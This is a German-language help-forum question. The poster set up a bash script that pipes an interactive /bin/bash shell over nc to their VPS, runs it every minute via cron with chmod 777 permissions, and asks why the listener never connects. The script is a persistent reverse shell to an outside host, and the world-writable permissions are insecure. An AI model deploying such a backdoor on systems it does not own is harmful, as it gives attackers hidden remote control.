Ich habe auf meinem eigenen Computer eine Verbindung mit diesem Code eingerichtet:
#!/bin/bash
n=$(ps aux | grep -o [1]234)
if [[ $n = "" ]]; then
mkfifo f
nc VPS_IP_ADDRESS_HERE 1234 < f | /bin/bash -i > f 2>&1
fi
Ich möchte mich von einem anderen Rechner in einem anderen Netzwerk aus damit verbinden, also habe ich einen VPS gekauft! Ich habe den Text VPS_IP_ADDRESS_HERE
durch die IP-Adresse meines VPS ersetzt. Dann habe ich sichergestellt, dass ich dem Skript die Berechtigungen mit erteilt habe chmod 777 /etc/whatever
. Außerdem habe ich ein Crontab erstellt, um sicherzustellen, dass das Bash-Skript jede Minute ausgeführt wird, und es auf den folgenden Code eingestellt:
* * * * * /etc/whatever
Jetzt habe ich mich auf einer anderen Maschine per SSH mit dem VPS verbunden und den Befehl ausgeführt, nc -l -p 1234
aber es kam keine Verbindung zustande oder so! Bitte helfen Sie!